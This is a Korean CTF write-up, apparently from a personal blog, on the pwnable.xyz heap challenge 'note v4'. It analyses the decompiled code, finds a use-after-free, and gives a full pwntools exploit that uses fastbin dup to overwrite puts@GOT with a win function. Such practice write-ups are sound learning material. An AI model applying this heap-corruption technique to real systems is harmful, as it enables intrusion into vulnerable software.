Pwnstar
pwnable.xyz note v4 본문
이번 문제도 며칠 잡고 있을 줄 알았는데 운이 좋아서 빨리 풀었다.
카나리와 nx만 걸려있음.
역시나 힙 문제이다.
1. 코드분석
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
int running; // [rsp+8h] [rbp-8h]
__int64 savedregs; // [rsp+10h] [rbp+0h]
running = 1;
setup();
show_banner();
init_first_note();
LABEL_8:
while ( running )
{
show_menu();
printf("> ");
get_int();
switch ( (unsigned int)&savedregs )
{
case 1u:
create_notes();
break;
case 2u:
select_note();
break;
case 3u:
edit_selected_note();
break;
case 4u:
delete_selected_note();
break;
case 5u:
running = 0;
break;
default:
goto LABEL_8;
}
}
puts("Bye...");
return 0;
}
숫자 입력하면 해당 함수가 호출되는 형식
create_note
void __cdecl create_notes()
{
int i; // [rsp+0h] [rbp-10h]
int count; // [rsp+4h] [rbp-Ch]
Note *lastNote; // [rsp+8h] [rbp-8h]
printf("How many notes do you want to create: ");
count = get_int();
if ( count + NoteCount > 199 )
{
puts("Not enough space left in your notebook...");
}
else
{
for ( lastNote = (Note *)&FirstNote; lastNote->Next; lastNote = lastNote->Next )
;
for ( i = 0; i < count; ++i )
{
lastNote->Next = (Note *)malloc(0x50uLL);
lastNote = lastNote->Next;
init_note(lastNote);
}
}
}
note의 개수를 한꺼번에 몇개 만들지 선택해서 공간을 할당해주는 방식이다. 각 note는 linked list로 연결되어 있음.
select_note
void __cdecl select_note()
{
int index; // [rsp+4h] [rbp-Ch]
printf("Which note do you want to select: ");
index = get_int();
if ( find_note(index) )
{
CurrentNote = index;
}
else
{
CurrentNote = -1LL;
puts("This note doesn't exist...");
}
}
생성해둔 노트의 인덱스를 선택해서 해당 인덱스를 CurrentNote라는 전역변수에 저장한다.
edit_selected_note
void __cdecl edit_selected_note()
{
Note *note; // ST08_8
if ( CurrentNote == -1 )
{
puts("Please select a note first...");
}
else
{
note = find_note(CurrentNote);
printf("Enter content for note %d: ", CurrentNote);
fgets(note->Data, 0x60, _bss_start);
}
}
select_note함수로 선택한 인덱스의 노트에값을 0x60만큼 입력할 수 있다.
delete_selected_note
void __cdecl delete_selected_note()
{
Note *note; // [rsp+8h] [rbp-8h]
if ( CurrentNote == -1 )
{
puts("Please select a valid note first...");
}
else
{
note = find_note(CurrentNote);
if ( note )
{
free(note->Data);
free(note);
CurrentNote = -1LL;
--NoteCount;
}
}
}
select_note함수로 선택한 인덱스의 노트를 free해주는 함수인데, 초기화해주는 코드가 없다 UAF가능
중요한게 주소를 leak해줄 수가 없음.
노트를 생성하면 우선 0x50만큼 주소를 할당해주고, +0x10의 위치에 data가 들어갈 영역의 주소(0x60)를 넣어준다. 그리고 +0x48의 위치에 다음 노트의 주소가 들어감.
이런 식으로 노트들이 생성됨
노트를 삭제하면 주소들이 fastbin에 들어가게 되는데,
edit_selected_note함수로 uaf가 가능해서 이 fastbin을 조작하는 것이 가능하다.
이걸 보고 힌트를 얻었는데, 이걸 풀때까지만 해도 무슨 기법인지 몰랐음. 그래서 이게 될까 하면서 풀었다.
만약 이 주소를 사이즈도 적당한 유요한 주소로 수정한다면 그 주소에 내가 원하는 만큼 공간을 할당받을 수 있겠다는 생각을 했다.
근데 앞서 말했듯 leak이 불가능해서 고정 주소를 써야했는데, 다행히 첫번째 노트는 bss영역에 할당되어 있다.
그래서 CurrentNote는 select_note함수로 조작할 수 있으니, CurrentNote+0x8의 주소로 조작한 다음, 이 CurrentNote의 값을 0x71로 바꿔주면 이 bss영역을 조작할 수 있고, 첫번째 노트의 데이터를 가리키는 주소를 조작할 수 있다. 그 부분을 puts_got로 바꿔주고 win함수의 주소를 넣어주면 끗
ex.py
from pwn import*
p = process("./challenge")
#p = remote("svc.pwnable.xyz", 30046)
script = '''
b*0x0000000000400E75
b*0x0000000000400E8D
b*0x0000000000400E99
'''
gdb.attach(p, script)
def create(cnt):
p.sendlineafter("> ", "1")
p.sendlineafter(": ", str(cnt))
def edit(idx, note):
p.sendlineafter("> ", "2")
p.sendlineafter(": ", str(idx))
p.sendlineafter("> ", "3")
p.sendlineafter(": ", note)
def delete(idx):
p.sendlineafter("> ", "2")
p.sendlineafter(": ", str(idx))
p.sendlineafter("> ", "4")
puts_got = 0x0000000000602020
addr = 0x0000000000602298
win = 0x0000000000400DD9
create(0x80)
delete(0x80)
edit(0x80, p64(addr))
p.sendlineafter("> ", "2")
p.sendlineafter(": ", str(0x71)) #make size 0x71
create(2)
edit(0x81, p64(0)*5 + p64(puts_got))
edit(0, p64(win))
p.interactive()
무슨 기법인지 이름도 모르고 풀어서 풀고 난 후 무슨 기법인지 알려고 라이트업을 찾아봤다. 이게 fastbin dup이구나...
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz adultvm2 (0) | 2020.12.22 |
---|---|
pwnable.xyz adultvm (0) | 2020.12.21 |
pwnable.xyz fishing (0) | 2020.12.19 |
pwnable.xyz babyvm (0) | 2020.12.17 |
pwnable.xyz knum (0) | 2020.12.15 |